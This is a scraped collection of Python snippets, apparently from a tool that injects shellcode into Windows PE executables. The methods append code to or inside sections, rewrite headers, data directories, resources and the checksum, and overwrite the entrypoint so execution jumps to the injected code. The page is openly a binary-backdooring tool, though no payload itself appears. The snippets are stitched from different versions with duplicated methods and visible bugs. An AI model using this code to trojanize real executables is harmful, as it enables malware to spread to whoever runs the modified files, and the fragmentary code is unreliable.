def __overwrite_entrypoint_rva(self, header_offset, shell_code_rva):

        # Get current RVA for entrypoint
        offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA

        # Overwrite current RVA for entrypoint with the new one. Not sure if i should change BaseOfCode???
        MultiByteHandler.set_dword_given_offset(self.binary_data, offset_for_address_of_entrypoint_rva_on_the_header, shell_code_rva)
Esempio n. 2
0
    def compute_checksum(binary_data, header_offset):
        # Clear checksum
        image_checksum_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CHECKSUM
        # checksum = MultiByteHandler.get_dword_given_offset(self.binary, image_checksum_offset)
        MultiByteHandler.set_dword_given_offset(binary_data,
                                                image_checksum_offset, 0x0)

        checksum = 0x0
        word_index = 0x0
        has_odd_byte = True if len(
            binary_data
        ) % Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT == 1 else False

        while word_index < len(binary_data):
            if word_index == image_checksum_offset:
                word_index += Win32BinaryOffsetsAndSizes.CHECKSUM_SIZE
            else:
                checksum += MultiByteHandler.get_word_given_offset(
                    binary_data, word_index)
                checksum & GenericConstants.DWORD_MASK
                # checksum += (checksum >> Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT)
                word_index += Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT

        if has_odd_byte:
            checksum += binary_data[-1]

        checksum = (
            checksum >> Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT *
            GenericConstants.BITS_PER_BYTE) + (checksum & 0xFFFF)
        checksum += (
            checksum >> Win32BinaryOffsetsAndSizes.CHECKSUM_COMPUTATION_UNIT *
            GenericConstants.BITS_PER_BYTE)
        checksum = (checksum & 0xFFFF)
        checksum += len(binary_data)
        return checksum
    def __set_rva_delta(self, header_offset):
        """
                :param header_offset:
                :return: This class returns nothing. It is meant to check if it is possible to write the new header between the last header and the first section.

        """

        #The header is smaller than this but this is adjusted and therefore padded to file alignment. The next section starts right after
        current_size_of_headers = MultiByteHandler.get_dword_given_offset(
            self.binary_data, header_offset +
            Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS)
        new_size_of_headers_unpadded = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
        padding_for_new_header = Win32BinaryUtils.compute_padding_size_for_file_alignment(
            self.binary_data, header_offset, new_size_of_headers_unpadded)
        self.header_padding = padding_for_new_header
        new_size_of_headers = new_size_of_headers_unpadded + padding_for_new_header

        #I have to check if the RAW size of the header crosses the RVA for the text section. For now, i can ignore. However i need to pad the header.
        rva_for_first_section = MultiByteHandler.get_dword_given_offset(
            self.binary_data, header_offset +
            Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS +
            Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
        if new_size_of_headers > rva_for_first_section:
            print(
                "Added section crossing RVA for first section. This mode will not work. Leaving..."
            )
            sys.exit(1)
            '''
            #virtual_rva_delta = Win32BinaryUtils.compute_padding_size_for_section_alignment(self.binary_data, header_offset, new_size_of_headers)
            #self.rva_delta =  new_size_of_headers + virtual_rva_delta - rva_for_first_section
            '''
        return
    def __adjust_debug(self, header_offset):
        offset_to_debug_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_RVA
        debug_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header)

        if debug_rva == 0x0:
            return

        debug_raw = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, debug_rva)
        current_debug_raw = debug_raw
        debug_size = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_DEBUG_SIZE)
        number_of_entries = debug_size / (Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*4)

        for entry_index in range(0, number_of_entries):

            if self.rva_delta != 0:
                offset_to_address_of_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_ADDRESS_OF_RAW_DATA_WITHIN_DEBUG_DIRECTORY
                address_of_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory)
                MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_address_of_raw_data_within_debug_directory, address_of_raw_data + self.rva_delta)

            offset_to_pointer_to_raw_data_within_debug_directory = debug_raw + Win32BinaryOffsetsAndSizes.OFFSET_TO_POINTER_TO_RAW_DATA_WITHIN_DEBUG_DIRECTORY
            pointer_to_raw_data = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory)
            MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_pointer_to_raw_data_within_debug_directory, pointer_to_raw_data + len(self.shell_code))

            current_debug_raw += Win32BinaryOffsetsAndSizes.NUMBER_OF_DWORDS_ON_DEBUG_ENTRY*0x4

        if self.rva_delta != 0:
            # Adjusting RVA on Data Directories header.
            MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_debug_rva_within_header, debug_rva + self.rva_delta)
Esempio n. 5
0
    def get_raw_offset_for_header_of_section_containing_given_rva(
            binary, header_offset, rva):

        number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
        number_of_sections = MultiByteHandler.get_word_given_offset(
            binary, number_of_sections_offset)
        current_header_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS

        for section_index in range(0, number_of_sections):

            virtual_section_size_offset = current_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER
            virtual_section_size = MultiByteHandler.get_dword_given_offset(
                binary, virtual_section_size_offset)

            virtual_section_rva_offset = current_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
            virtual_section_rva = MultiByteHandler.get_dword_given_offset(
                binary, virtual_section_rva_offset)

            virtual_end_of_section_rva = virtual_section_rva + virtual_section_size
            if (rva >= virtual_section_rva) and (rva <
                                                 virtual_end_of_section_rva):
                return (section_index, current_header_offset)

            current_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER

        return (None, None)
Esempio n. 6
0
    def rva_is_after_entrypoint_and_requires_change(binary, header_offset,
                                                    rva):

        #For entrypoint
        entrypoint_rva_offset_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA
        entrypoint_rva = MultiByteHandler.get_dword_given_offset(
            binary, entrypoint_rva_offset_within_header)
        entrypoint_section_header_index_and_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
            binary, header_offset, entrypoint_rva)
        offset_of_header_of_section_containing_entrypoint = entrypoint_section_header_index_and_offset[
            1]

        entrypoint_virtual_section_rva_offset = offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
        entrypoint_virtual_section_rva = MultiByteHandler.get_dword_given_offset(
            binary, entrypoint_virtual_section_rva_offset)

        #For given RVA
        offset_of_header_of_section_containing_given_rva = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
            binary, header_offset, rva)[1]

        #If it is None, it means the RVA is beyond the last section
        if offset_of_header_of_section_containing_given_rva == None:
            return True

        virtual_section_rva_offset_for_section_containing_given_rva = offset_of_header_of_section_containing_given_rva + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
        virtual_section_rva_for_section_containing_given_rva = MultiByteHandler.get_dword_given_offset(
            binary,
            virtual_section_rva_offset_for_section_containing_given_rva)

        if virtual_section_rva_for_section_containing_given_rva > entrypoint_virtual_section_rva:
            return True
    def modify_binary(self):

        header_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)

        #We must get the offsets for the location where the shellcode will be inserted before inserting it and before changing the headers.
        entrypoint_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)
        raw_offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(self.binary_data, header_offset, entrypoint_rva)[1]

        entrypoint_section_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)

        entrypoint_raw_section_offset = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
        entrypoint_raw_section_size = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_of_header_of_section_containing_entrypoint + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER)

        rva_for_shell_code = entrypoint_section_rva + entrypoint_raw_section_size
        self.__file_align_shellcode(header_offset, raw_offset_of_header_of_section_containing_entrypoint, entrypoint_raw_section_size, entrypoint_rva - rva_for_shell_code)
        self.__set_rva_delta_for_section_alignment(raw_offset_of_header_of_section_containing_entrypoint)

        self.__adjust_data_directories(header_offset)
        self.__adjust_section_headers(header_offset)
        self.__adjust_standard_coff_fields(header_offset)
        self.__append_data_at_offset(self.shell_code, entrypoint_raw_section_offset + entrypoint_raw_section_size)
        self.__adjust_windows_specific_headers(header_offset)

        # Redirect execution to shellcode
        self.__overwrite_entrypoint_rva(header_offset, rva_for_shell_code + self.rva_delta)

        self.__update_checksum(header_offset)
        return self.binary_data
    def __adjust_import_address_table(self, header_offset):
        offset_to_import_address_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_IMPORT_ADDRESS_TABLE_RVA
        import_address_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_import_address_table_rva_within_header)

        if import_address_table_rva == 0x0 or self.rva_delta == 0:
            return

        # Adjusting RVA on Data Directories header.
        MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_import_address_table_rva_within_header, import_address_table_rva + self.rva_delta)
    def __adjust_certificate_table(self, header_offset):

        offset_to_certificate_table_rva = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CERTIFICATE_TABLE_RAW
        certificate_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_certificate_table_rva)

        if certificate_table_rva == 0x0:
            return

        # Adjusting RVA on Data Directories header.
        MultiByteHandler.set_dword_given_offset(self.binary_data, offset_to_certificate_table_rva, certificate_table_rva + len(self.shell_code))
Esempio n. 10
0
    def has_relocation_table(binary_data):

        header_offset = MultiByteHandler.get_dword_given_offset(
            binary_data, Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)

        offset_to_base_relocation_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BASE_RELOCATION_TABLE_RVA
        base_relocation_table_rva = MultiByteHandler.get_dword_given_offset(
            binary_data, offset_to_base_relocation_table_rva_within_header)

        return True if base_relocation_table_rva != 0x0 else False
    def __adjust_resource_table_stub(self, header_offset):
        self.__adjust_resource_table(header_offset, 0)
        # Adjusting RVA on Data Directories header.
        offset_to_resource_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_RESOURCE_TABLE_RVA
        resource_table_rva = MultiByteHandler.get_dword_given_offset(
            self.binary_data, offset_to_resource_table_rva_within_header)

        MultiByteHandler.set_dword_given_offset(
            self.binary_data, offset_to_resource_table_rva_within_header,
            resource_table_rva + self.rva_delta)
    def __adjust_global_ptr(self, header_offset):
        offset_to_global_ptr_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_GLOBAL_PTR_RVA
        global_ptr_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_global_ptr_rva_within_header)

        if global_ptr_rva == 0x0 or not Win32BinaryUtils.rva_is_after_entrypoint_and_requires_change(self.binary_data, header_offset, global_ptr_rva):
            return
        else:
            raise NotImplementedError

        # Adjusting RVA on Data Directories header.
        MultiByteHandler.set_dword_given_offset(self.binary, offset_to_global_ptr_rva_within_header, global_ptr_rva + self.rva_delta)
    def __adjust_architecture_data(self, header_offset):
        offset_to_architecture_data_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ARCHITECTURE_DATA_RVA
        architecture_data_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_architecture_data_rva_within_header)

        if architecture_data_rva == 0x0 or self.rva_delta == 0:
            return
        else:
            raise NotImplementedError

        # Adjusting RVA on Data Directories header.
        MultiByteHandler.set_dword_given_offset(self.binary, offset_to_architecture_data_rva_within_header, architecture_data_rva + self.rva_delta)
    def __adjust_exception_table(self, header_offset):
        offset_to_exception_table_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_EXCEPTION_TABLE_RVA
        exception_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_exception_table_rva_within_header)

        if exception_table_rva == 0x0:
            return
        else:
            raise NotImplementedError

        # Adjusting RVA on Data Directories header.
        MultiByteHandler.set_dword_given_offset(self.binary, offset_to_exception_table_rva_within_header, exception_table_rva + self.rva_delta)
    def __adjust_bound_import(self, header_offset):
        offset_to_bound_import_rva_within_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BOUND_IMPORT_RVA
        bound_import_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, offset_to_bound_import_rva_within_header)

        if bound_import_rva == 0x0 or self.rva_delta == 0:
            return
        else:
            raise NotImplementedError

        # Adjusting RVA on Data Directories header.
        MultiByteHandler.set_dword_given_offset(self.binary, offset_to_bound_import_rva_within_header, bound_import_rva + self.rva_delta)
Esempio n. 16
0
 def get_raw_offset_and_size_for_last_section(binary_data, header_offset):
     raw_offset_for_last_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header(
         binary_data, header_offset)
     raw_offset_for_last_section = MultiByteHandler.get_word_given_offset(
         binary_data,
         raw_offset_for_last_section_header + Win32BinaryOffsetsAndSizes.
         OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER)
     raw_size_for_last_section = MultiByteHandler.get_dword_given_offset(
         binary_data,
         raw_offset_for_last_section_header + Win32BinaryOffsetsAndSizes.
         OFFSET_TO_SECTION_RAW_SIZE_WITHIN_SECTION_HEADER)
     return (raw_offset_for_last_section, raw_size_for_last_section)
Esempio n. 17
0
    def convert_rva_to_raw(binary, header_offset, rva):

        section_header_offset = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
            binary, header_offset, rva)[1]

        virtual_section_rva_offset = section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
        virtual_section_rva = MultiByteHandler.get_dword_given_offset(
            binary, virtual_section_rva_offset)

        raw_section_offset_offset = section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER
        raw_section_offset = MultiByteHandler.get_dword_given_offset(
            binary, raw_section_offset_offset)
        return rva - virtual_section_rva + raw_section_offset
    def __adjust_certificate_table(self, header_offset):
        certificate_table_raw_offset_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_CERTIFICATE_TABLE_RAW
        certificate_table_offset = MultiByteHandler.get_dword_given_offset(
            self.binary_data, certificate_table_raw_offset_offset)

        if certificate_table_offset == 0x0:
            return

        # new RAW = Old raw + new header + len(padded_shall_code)
        MultiByteHandler.set_dword_given_offset(
            self.binary_data, certificate_table_raw_offset_offset,
            certificate_table_offset +
            Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER +
            self.header_padding + len(self.shell_code))
Esempio n. 19
0
 def compute_padding_size_for_section_alignment(binary_data, header_offset,
                                                size_or_rva):
     section_alignment = MultiByteHandler.get_dword_given_offset(
         binary_data, header_offset +
         Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_ALIGNMENT)
     mod_result = size_or_rva % section_alignment
     return (section_alignment - mod_result) if mod_result != 0x0 else 0x0
Esempio n. 20
0
    def modify_binary(self):

        header_offset = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
        shell_code_generator_instance = self.shell_code_generator_class()

        #Temporary solution. Type returns classobject
        if str(self.binary_modifier_class).split(
                '.')[-1] == "Win32SectionInjector":
            shell_code = shell_code_generator_instance.get_base_shell_code(0x0)
            print("Running Win32SectionInjector")
            (rva_for_region, raw_offset_for_region
             ) = Win32BinaryUtils.get_executable_region_rva_and_raw_offset(
                 self.binary_data, header_offset, len(shell_code))
            return self.binary_modifier_class(
                self.binary_data, shell_code_generator_instance,
                rva_for_region, raw_offset_for_region).modify_binary()
            if None in (rva_for_region, raw_offset_for_region):
                print("Memory search failed.")
                return None
        else:
            print("Running {0}".format(
                str(self.binary_modifier_class).split('.')[-1]))
            return self.binary_modifier_class(
                self.binary_data,
                shell_code_generator_instance).modify_binary()
    def __overwrite_entrypoint_rva(self, header_offset):
        #Get current RVA for entrypoint
        offset_for_address_of_entrypoint_rva_on_the_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA

        #Get header offset for new header
        raw_offset_for_shell_code_section_header = Win32BinaryUtils.get_raw_offset_for_last_section_header(
            self.binary_data, header_offset)
        rva_for_shell_code_section_header = MultiByteHandler.get_dword_given_offset(
            self.binary_data, raw_offset_for_shell_code_section_header +
            Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)

        #Overwrite current RVA for entrypoint with the new one.
        MultiByteHandler.set_dword_given_offset(
            self.binary_data,
            offset_for_address_of_entrypoint_rva_on_the_header,
            rva_for_shell_code_section_header)
Esempio n. 22
0
    def get_rva_and_virtual_size_for_last_section(binary, header_offset):

        number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
        number_of_sections = MultiByteHandler.get_word_given_offset(
            binary, number_of_sections_offset)

        #Jumping to last header
        beginning_of_section_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS
        beginning_of_section_header += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER * (
            number_of_sections - 1)
        rva_for_last_section = MultiByteHandler.get_dword_given_offset(
            binary, beginning_of_section_header + Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
        virtual_size_of_last_section = MultiByteHandler.get_dword_given_offset(
            binary, beginning_of_section_header + Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER)
        return (rva_for_last_section, virtual_size_of_last_section)
    def __adjust_section_headers(self, header_offset):
        number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
        number_of_sections = MultiByteHandler.get_word_given_offset(
            self.binary_data, number_of_sections_offset)

        # Moving to the next section header
        current_section_header_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS

        for section_index in range(0, number_of_sections):
            if self.rva_delta != 0:
                virtual_section_rva_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER
                virtual_section_rva = MultiByteHandler.get_dword_given_offset(
                    self.binary_data,
                    current_section_header_offset + Win32BinaryOffsetsAndSizes.
                    OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
                virtual_section_rva = (
                    virtual_section_rva +
                    self.rva_delta) if virtual_section_rva != 0 else 0
                MultiByteHandler.set_dword_given_offset(
                    self.binary_data, virtual_section_rva_offset,
                    virtual_section_rva)

            raw_section_offset_offset = current_section_header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SECTION_RAW_OFFSET_WITHIN_SECTION_HEADER
            raw_section_offset = MultiByteHandler.get_dword_given_offset(
                self.binary_data, raw_section_offset_offset)
            raw_section_offset = (
                raw_section_offset +
                Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER +
                self.header_padding) if raw_section_offset != 0 else 0
            MultiByteHandler.set_dword_given_offset(self.binary_data,
                                                    raw_section_offset_offset,
                                                    raw_section_offset)

            current_section_header_offset += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
    def __adjust_resource_table(self, header_offset, raw_offset_for_directory_header):

        resource_table_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_RESOURCE_TABLE_RVA)
        original_raw_offset_for_resource_table = Win32BinaryUtils.convert_rva_to_raw(self.binary_data, header_offset, resource_table_rva)

        raw_offset_for_current_directory = None
        # Function being called for the first time
        if raw_offset_for_directory_header != 0:
            raw_offset_for_current_directory = raw_offset_for_directory_header
        else:
            raw_offset_for_current_directory = original_raw_offset_for_resource_table

        raw_offset_for_current_directory_entry = raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_FIRST_DIRECTORY_ENTRY_WITHIN_RESOURCE_DIRECTORY_HEADER

        number_of_named_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_NAMED_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER)
        number_of_id_entries = MultiByteHandler.get_word_given_offset(self.binary_data, raw_offset_for_current_directory + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_ID_ENTRIES_WITHIN_RESOURCE_DIRECTORY_HEADER)

        for entry_index in range(0, number_of_named_entries + number_of_id_entries):
            offset_to_directory_or_data_entry = MultiByteHandler.get_dword_given_offset(self.binary_data, raw_offset_for_current_directory_entry + 0x4)

            # print("Offset to directory or data entry:" + hex(offset_to_directory_or_data_entry))

            if offset_to_directory_or_data_entry & 0x80000000 == 0x80000000:  # It is a directory so we call this function again
                self.__adjust_resource_table(header_offset, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry & 0x7FFFFFFF)
            else:
                resource_rva = MultiByteHandler.get_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry)
                MultiByteHandler.set_dword_given_offset(self.binary_data, original_raw_offset_for_resource_table + offset_to_directory_or_data_entry, resource_rva + self.rva_delta)
            raw_offset_for_current_directory_entry += 0x8
Esempio n. 25
0
    def get_raw_offset_for_last_section_header(binary_data, header_offset):
        number_of_sections_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_NUMBER_OF_SECTIONS
        number_of_sections = MultiByteHandler.get_word_given_offset(
            binary_data, number_of_sections_offset)

        # Jumping to last header
        beginning_of_last_section_header = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_BEGINNING_OF_SECTION_HEADERS
        beginning_of_last_section_header += Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER * (
            number_of_sections - 1)
        return beginning_of_last_section_header
    def modify_binary(self):

        header_offset = MultiByteHandler.get_dword_given_offset(
            self.binary_data,
            Win32BinaryOffsetsAndSizes.OFFSET_TO_PE_HEADER_OFFSET)
        # Get current RVA for entrypoint
        offset_for_address_of_entrypoint_rva = MultiByteHandler.get_dword_given_offset(
            self.binary_data, header_offset +
            Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)

        #Get formated shellcode
        self.shell_code = self.shell_code_generator.get_base_shell_code(
            offset_for_address_of_entrypoint_rva - self.injection_location_rva)
        # Injecting shellcode
        self.__inject_shell_code()
        # Redirect execution to shellcode
        self.__overwrite_entrypoint_rva(header_offset)
        self.__update_checksum(header_offset)
        #Win32BinaryUtils.compute_checksum(self.binary_data, header_offset)

        return self.binary_data
Esempio n. 27
0
    def get_executable_region_rva_and_raw_offset(binary_data, header_offset,
                                                 region_length):

        # We must get the offsets for the location where the shellcode will be inserted before inserting it and before changing the headers.
        entrypoint_rva = MultiByteHandler.get_dword_given_offset(
            binary_data, header_offset +
            Win32BinaryOffsetsAndSizes.OFFSET_TO_ENTRYPOINT_RVA)
        raw_offset_of_header_of_section_containing_entrypoint = Win32BinaryUtils.get_raw_offset_for_header_of_section_containing_given_rva(
            binary_data, header_offset, entrypoint_rva)[1]

        entrypoint_virtual_section_rva = MultiByteHandler.get_dword_given_offset(
            binary_data,
            raw_offset_of_header_of_section_containing_entrypoint +
            Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_RVA_WITHIN_SECTION_HEADER)
        entrypoint_virtual_section_size = MultiByteHandler.get_dword_given_offset(
            binary_data,
            raw_offset_of_header_of_section_containing_entrypoint +
            Win32BinaryOffsetsAndSizes.
            OFFSET_TO_SECTION_VIRTUAL_SIZE_WITHIN_SECTION_HEADER)

        rva_for_end_of_endpoint_section = entrypoint_virtual_section_rva + entrypoint_virtual_section_size - 1
        raw_end_of_virtual_section = Win32BinaryUtils.convert_rva_to_raw(
            binary_data, header_offset, rva_for_end_of_endpoint_section)
        #It appears to be fetching the right bytes but the raw offset is not correct according to pe view.
        found_non_zero_byte = False
        for index in range(0, region_length):
            region_byte = binary_data[raw_end_of_virtual_section]
            if region_byte != 0x0:
                found_non_zero_byte = True
            rva_for_end_of_endpoint_section -= 1
            raw_end_of_virtual_section = rva_for_end_of_endpoint_section
        if found_non_zero_byte:
            print(
                "The memory region where the shellcode will be inserted contains non-zero bytes. This may be valid code."
            )
        return (rva_for_end_of_endpoint_section,
                Win32BinaryUtils.convert_rva_to_raw(
                    binary_data, header_offset,
                    rva_for_end_of_endpoint_section))
    def __adjust_windows_specific_headers(self, header_offset, new_section_rva,
                                          new_section_virtual_size):
        # SizeOfImage
        size_of_image_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_IMAGE
        potentially_unaligned_size_of_image = new_section_rva + new_section_virtual_size
        aligned_size_of_image = potentially_unaligned_size_of_image + Win32BinaryUtils.compute_padding_size_for_section_alignment(
            self.binary_data, header_offset,
            potentially_unaligned_size_of_image)
        MultiByteHandler.set_dword_given_offset(self.binary_data,
                                                size_of_image_offset,
                                                aligned_size_of_image)

        # SifeOfHeaders
        size_of_headers_offset = header_offset + Win32BinaryOffsetsAndSizes.OFFSET_TO_SIZE_OF_HEADERS
        current_size_of_headers = MultiByteHandler.get_dword_given_offset(
            self.binary_data, size_of_headers_offset)
        updated_size_of_headers = current_size_of_headers + Win32BinaryOffsetsAndSizes.SIZE_OF_SECTION_HEADER
        padding = Win32BinaryUtils.compute_padding_size_for_file_alignment(
            self.binary_data, header_offset, updated_size_of_headers)
        MultiByteHandler.set_dword_given_offset(
            self.binary_data, size_of_headers_offset,
            updated_size_of_headers + padding)
Esempio n. 29
0
    def has_consecutive_zero_dwords(binary, offset,
                                    number_of_consecutive_dwords):
        dword_sum = 0x0

        for dword_within_directory_table_entry in range(
                0, number_of_consecutive_dwords):
            dword_sum += MultiByteHandler.get_dword_given_offset(
                binary, offset)
            offset += 0x4

        if dword_sum == 0x0:
            return True
        else:
            return False
Esempio n. 30
0
    def compute_padding_size_for_file_alignment(binary_data, header_offset,
                                                size_or_offset):
        """
        :param header_offset:
        :param size_or_offset:
        :return: Used to compute the number of bytes that must be added to the shellcode to align the raw section size to filealignment.
        """

        file_alignment = MultiByteHandler.get_dword_given_offset(
            binary_data, header_offset +
            Win32BinaryOffsetsAndSizes.OFFSET_TO_FILE_ALIGNMENT)
        mod_result = size_or_offset % file_alignment

        return (file_alignment - mod_result) if mod_result != 0x0 else 0x0